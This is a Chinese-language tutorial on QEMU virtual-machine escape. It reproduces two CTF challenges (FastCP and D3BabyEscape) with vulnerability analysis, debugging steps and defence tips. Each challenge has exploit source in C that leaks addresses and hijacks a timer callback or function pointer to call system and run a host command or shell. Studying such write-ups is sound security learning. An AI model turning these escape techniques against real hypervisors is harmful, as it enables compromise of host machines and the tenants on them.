qemu逃逸入门及例题复现
字数 1072 2025-08-20 18:17:47
QEMU逃逸入门及例题复现教学文档
1. QEMU逃逸基础概念
1.1 什么是QEMU逃逸
QEMU逃逸是指从虚拟机内部突破虚拟化隔离,获取宿主机权限的攻击方式。攻击者通过利用QEMU模拟设备中的漏洞,实现从虚拟机内部攻击QEMU进程本身。
1.2 QEMU逃逸的本质
- 攻击目标是QEMU这个ELF可执行文件本身
- QEMU作为软件实现的虚拟化方案,包含各种可被利用的函数
- 通过泄露信息和控制流劫持,最终目标是获取宿主机shell
1.3 常用指令
lspci # 查看PCI设备信息
ls /sys/devices/pci0000\:00/0000\:00\:04.0/ # 查看设备资源
# 监控QEMU
-monitor telnet:127.0.0.1:4444,server,nowait
nc 127.0.0.1 4444 # 连接监控接口
info pci # 查看PCI设备详细信息
2. 环境准备与调试方法
2.1 准备EXP环境
mkdir exp
cp ./initramfs-busybox-x64.cpio.gz ./exp/
cd exp
gunzip ./initramfs-busybox-x64.cpio.gz
cpio -idmv < ./initramfs-busybox-x64.cpio
mkdir root
cp ../exp.c ./root/
gcc ./root/exp.c -o ./root/exp -static
find . | cpio -o --format=newc > initramfs-busybox-x64.cpio
gzip initramfs-busybox-x64.cpio
cp initramfs-busybox-x64.cpio.gz ..
2.2 调试方法
- 直接调试QEMU进程:
gdb qemu
set args <启动参数>
- 附加到运行中的QEMU进程:
./launch.sh
ps -ef | grep qemu # 获取进程ID
gdb -p <进程号>
- 在QEMU源码中设置断点:
b fastcp_mmio_write
c
3. 关键知识点
3.1 地址空间转换
- MMIO (Memory Mapped I/O): 通过内存映射方式访问设备寄存器
- PMIO (Port Mapped I/O): 通过特定端口访问设备寄存器
3.2 地址转换函数
// 用户虚拟地址到物理地址转换
uint64_t gva_to_gpa(void* addr) {
uint64_t gfn = gva_to_gfn(addr); // 获取页帧号
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
3.3 常见漏洞类型
- 越界读写
- 缺少边界检查
- 回调函数控制
4. FastCP例题分析
4.1 漏洞分析
- 漏洞位于
fastcp_mmio_write函数 - 通过控制timer结构体实现任意函数执行
- 资源类型为MMIO (resource0)
4.2 利用步骤
-
泄露信息:
- 利用越界读取泄露timer结构体
- 计算PIE基址和system函数地址
-
构造恶意timer:
struct QEMUTimer timer; timer.expire_time = 0xffffffffffffffff; timer.timer_list = *(uint64_t*)(&userbuf[0x8]); timer.cb = system_plt; // 目标函数 timer.opaque = struct_head + 0xa00 + 0x1000 + 0x30; // 参数 strcpy(&timer.shell, "echo flag{a_test_flag}"); // 命令 -
覆盖timer结构体:
- 使用
fastcp_do_movebuffer覆盖原timer - 触发回调执行
- 使用
4.3 完整EXP
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/io.h>
#include <unistd.h>
// 地址转换和MMIO操作函数...
int main(int argc, char* argv[]) {
// 初始化MMIO
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
mmio_mem = mmap(0, 0x100000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
// 准备用户缓冲区
userbuf = mmap(0, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
mlock(userbuf, 0x10000);
phy_userbuf = gva_to_gpa(userbuf);
// 泄露timer结构体获取基址
fastcp_do_readfrombuffer(phy_userbuf, 0x1030);
fastcp_do_writetobuffer(phy_userbuf + 0x1000, 0x30);
fastcp_do_readfrombuffer(phy_userbuf, 0x30);
uint64_t leak_timer = *(uint64_t*)(&userbuf[0x10]);
uint64_t pie_base = leak_timer - 0x4dce80;
uint64_t system_plt = pie_base + 0x2C2180;
uint64_t struct_head = *(uint64_t*)(&userbuf[0x18]);
// 构造并覆盖timer
struct QEMUTimer timer;
memset(&timer, 0, sizeof(timer));
timer.expire_time = 0xffffffffffffffff;
timer.timer_list = *(uint64_t*)(&userbuf[0x8]);
timer.cb = system_plt;
timer.opaque = struct_head + 0xa00 + 0x1000 + 0x30;
strcpy(&timer.shell, "echo flag{a_test_flag}");
memcpy(userbuf + 0x1000, &timer, sizeof(timer));
fastcp_do_movebuffer(gva_to_gpa(userbuf + 0x1000) - 0x1000,
gva_to_gpa(userbuf + 0x1000) - 0x1000,
0x1000 + sizeof(timer));
fastcp_do_cmd(1); // 触发执行
return 0;
}
5. D3BabyEscape例题分析
5.1 漏洞分析
- 设备名: l0dev
- 同时存在MMIO和PMIO接口
- 关键漏洞:
- MMIO: 可控制offset实现任意读
- PMIO: magic=1时可任意写
- 存在回调函数可被控制
5.2 利用步骤
- 通过MMIO泄露libc地址
- 计算system函数地址
- 设置magic标志
- 覆盖回调函数为system
- 触发执行
5.3 完整EXP
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/io.h>
// MMIO/PMIO操作函数...
int main() {
// 初始化MMIO
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
mmio_mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
// 设置IO权限
if(iopl(3) == -1) {
perror("iopl");
exit(EXIT_FAILURE);
}
// 泄露libc地址
mmio_write(128, 0x100);
size_t libc_addr = mmio_read(4);
libc_addr = libc_addr - 0x460a0; // srandom偏移
size_t system_addr = libc_addr + 0x50d70;
// 设置magic并覆盖函数指针
pmio_write(0, 666); // 设置magic
pmio_read(0);
pmio_write(20, system_addr); // 覆盖rand_r为system
// 触发执行
mmio_write(64, 0x6873); // "sh"的ASCII
return 0;
}
6. 总结与防御
6.1 常见攻击面
- MMIO/PMIO处理逻辑漏洞
- 回调函数控制
- 内存管理错误
6.2 防御建议
- 严格检查所有输入边界
- 限制回调函数的权限
- 启用QEMU的安全特性(如SMEP/SMAP)
- 定期更新QEMU版本
6.3 学习资源
- QEMU官方文档
- 虚拟化安全研究论文
- CTF比赛中的QEMU逃逸题目
通过本教程,你应该已经掌握了QEMU逃逸的基本原理和实战技巧。建议在实际环境中练习这两个例题,加深对漏洞利用过程的理解。